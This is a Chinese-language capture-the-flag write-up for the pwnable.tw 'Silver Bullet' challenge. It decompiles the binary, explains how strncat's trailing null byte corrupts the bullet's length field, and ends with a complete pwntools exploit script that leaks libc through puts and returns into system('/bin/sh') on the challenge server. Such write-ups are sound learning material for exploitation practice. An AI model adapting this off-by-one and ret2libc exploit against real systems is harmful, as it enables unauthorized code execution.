pwnable.tw writeup - Silver Bullet

 

关键函数分析

程序没有金丝雀,smash the stack!

main 函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int choice; // eax
  wolf Werewolf; // [esp+0h] [ebp-3Ch] BYREF
  bullet bullet; // [esp+8h] [ebp-34h] BYREF

  init_proc();
  memset(&bullet, 0, sizeof(bullet));
  Werewolf.hp = 2147483647;
  Werewolf.name = "Gin";
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          menu();
          choice = read_int();
          if ( choice != 2 )
            break;
          power_up(&bullet);
        }
        if ( choice > 2 )
          break;
        if ( choice != 1 )
          goto LABEL_15;
        create_bullet(&bullet);
      }
      if ( choice == 3 )
        break;
      if ( choice == 4 )
      {
        puts("Don't give up !");
        exit(0);
      }
LABEL_15:
      puts("Invalid choice");
    }
    if ( beat(&bullet, &Werewolf) )
      return 0;
    puts("Give me more power !!");
  }
}

要把狼杀死才 return , 否则程序直接退出。

其中狼和子弹结构体:

struct bullet{
    char description[48];  
    int len;
};

struct wolf{
    int hp;
    char *name;
};

create_bullet函数

int __cdecl create_bullet(bullet *bullet)
{
  int len; // [esp+0h] [ebp-4h]

  if ( bullet->description[0] )
    return puts("You have been created the Bullet !");
  printf("Give me your description of bullet :");
  read_input(bullet, 48u);
  len = strlen(bullet->description);
  printf("Your power is : %u\n", len);
  bullet->len = len;
  return puts("Good luck !!");
}

输入字符串的长度就是你的子弹的威力。

power_up函数

int __cdecl power_up(bullet *dest)
{
  char tmpbuf[48]; // [esp+0h] [ebp-34h] BYREF
  int newlen; // [esp+30h] [ebp-4h]

  newlen = 0;
  memset(tmpbuf, 0, sizeof(tmpbuf));
  if ( !dest->description[0] )
    return puts("You need create the bullet first !");
  if ( dest->len > 47u )
    return puts("You can't power up any more !");
  printf("Give me your another description of bullet :");
  read_input(tmpbuf, 48 - dest->len);
  strncat(dest->description, tmpbuf, 48 - dest->len);
  newlen = strlen(tmpbuf) + dest->len;
  printf("Your new power is : %u\n", newlen);
  dest->len = newlen;
  return puts("Enjoy it !");
}

就是加长字符串。

beat函数

int __cdecl beat(bullet *bullet, wolf *Werewolf)
{
  if ( bullet->description[0] )
  {
    puts(">----------- Werewolf -----------<");
    printf(" + NAME : %s\n", Werewolf->name);
    printf(" + HP : %d\n", Werewolf->hp);
    puts(">--------------------------------<");
    puts("Try to beat it .....");
    usleep(1000000u);
    Werewolf->hp -= bullet->len;
    if ( (int)Werewolf->hp <= 0 )
    {
      puts("Oh ! You win !!");
      return 1;
    }
    else
    {
      puts("Sorry ... It still alive !!");
      return 0;
    }
  }
  else
  {
    puts("You need create the bullet first !");
    return 0;
  }
}

持续扣血,但是正常情况下,你需要打到 猴年马月 才能把狼打死。

漏洞

发现一个有意思的输入:

描述输入47个 a

$ ./silver_bullet 
+++++++++++++++++++++++++++
       Silver Bullet       
+++++++++++++++++++++++++++
 1. Create a Silver Bullet 
 2. Power up Silver Bullet 
 3. Beat the Werewolf      
 4. Return                 
+++++++++++++++++++++++++++
Your choice :1
Give me your description of bullet :aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Your power is : 47
Good luck !!
+++++++++++++++++++++++++++
       Silver Bullet       
+++++++++++++++++++++++++++
 1. Create a Silver Bullet 
 2. Power up Silver Bullet 
 3. Beat the Werewolf      
 4. Return                 
+++++++++++++++++++++++++++
Your choice :2
Give me your another description of bullet :b
Your new power is : 1
Enjoy it !
+++++++++++++++++++++++++++
       Silver Bullet       
+++++++++++++++++++++++++++
 1. Create a Silver Bullet 
 2. Power up Silver Bullet 
 3. Beat the Werewolf      
 4. Return                 
+++++++++++++++++++++++++++
Your choice :Invalid choice
+++++++++++++++++++++++++++
       Silver Bullet       
+++++++++++++++++++++++++++
 1. Create a Silver Bullet 
 2. Power up Silver Bullet 
 3. Beat the Werewolf      
 4. Return                 
+++++++++++++++++++++++++++
Your choice :

可以发现 bullet 长度字段变成1了。

因为 strncat 函数在拼接字符串后会在字符串末尾追加 ‘0x00’,恰好把长度字段那个字节变成0了。最后写出来长度字段就变成 0 + 输入的1长度了

所以我们又有47字节可以写。从栈布局来看足够写到 main 函数返回地址了。

现在我们有什么

  • 我们可以控制栈上 main 函数的返回地址以并写一些参数。

不能用 ROP ,因为 gadget 太少了。但是可以 ret2lib 。

策略:

main 返回到 puts 函数 打印 puts 函数的地址在 GOT 表中。

puts 函数返回地址写 main ,这样又可以写一次栈。

打印完了之后执行 main 函数,这是我们拿到了 puts 函数在内存中的位置,减去偏移拿到 libc 起始地址。 于是可以拿到动态库中 system , /bin/sh 字符串地址。在第二次 main 函数的返回地址上写入这 system 地址和参数, 让 main 返回到 system 函数中。

exploit

#!/usr/bin/env python3

# pyright: basic

from struct import pack
from pwn import *

HOST='chall.pwnable.tw'
PORT=10103
PROC="./silver_bullet"

context.log_level = 'DEBUG'

io=None

if len(sys.argv) == 1 : 
    # io=gdb.debug(PROC,"break puts")
    io=process(PROC)
else:
    log.info("remote start")
    # 设置代理
    context.proxy=(socks.SOCKS5,'localhost',7890)
    io=remote(HOST,PORT)


def leaklib():
    io.sendafter(":","1")
    io.sendafter(":","a"*47)
    io.sendafter(":","2")
    io.sendafter(":","b")

    # 构造payload
    deslen=pack(0x7FFFFFFF)
    mainaddr=pack(0x08048954)
    gotput=pack(0x080484A8)
    
    #pause()
    payload=deslen[:-1]+b"c"*4+gotput+mainaddr+pack(0x0804AFDC)
    io.sendafter(":","2")
    io.sendafter("Give me your another description of bullet :",payload)

    # 开始打狼,使main返回
    io.sendafter("Your choice :","3")
    io.recvuntil("Oh ! You win !!\n")
    return unpack(io.recvn(4))

putaddr=leaklib()
print("putaddr:",hex(putaddr))

putoffset=0x0005f140
systemoffset=0x0003a940
binshoffset=0x158e8b

systemaddr=putaddr-putoffset+systemoffset
binshaddr=putaddr-putoffset+binshoffset

def getshell():
    io.sendafter(":","1")
    io.sendafter(":","a"*47)
    io.sendafter(":","2")
    io.sendafter(":","b")

    # 构造payload
    deslen=pack(0x7FFFFFFF)
    
    pause()
    payload=deslen[:-1]+b"c"*4+pack(systemaddr)*2+pack(binshaddr)
    io.sendafter(":","2")
    io.sendafter("Give me your another description of bullet :",payload)

    # 开始打狼,使main返回
    io.sendafter("Your choice :","3")
    io.recvuntil("Oh ! You win !!\n")

getshell()

io.interactive()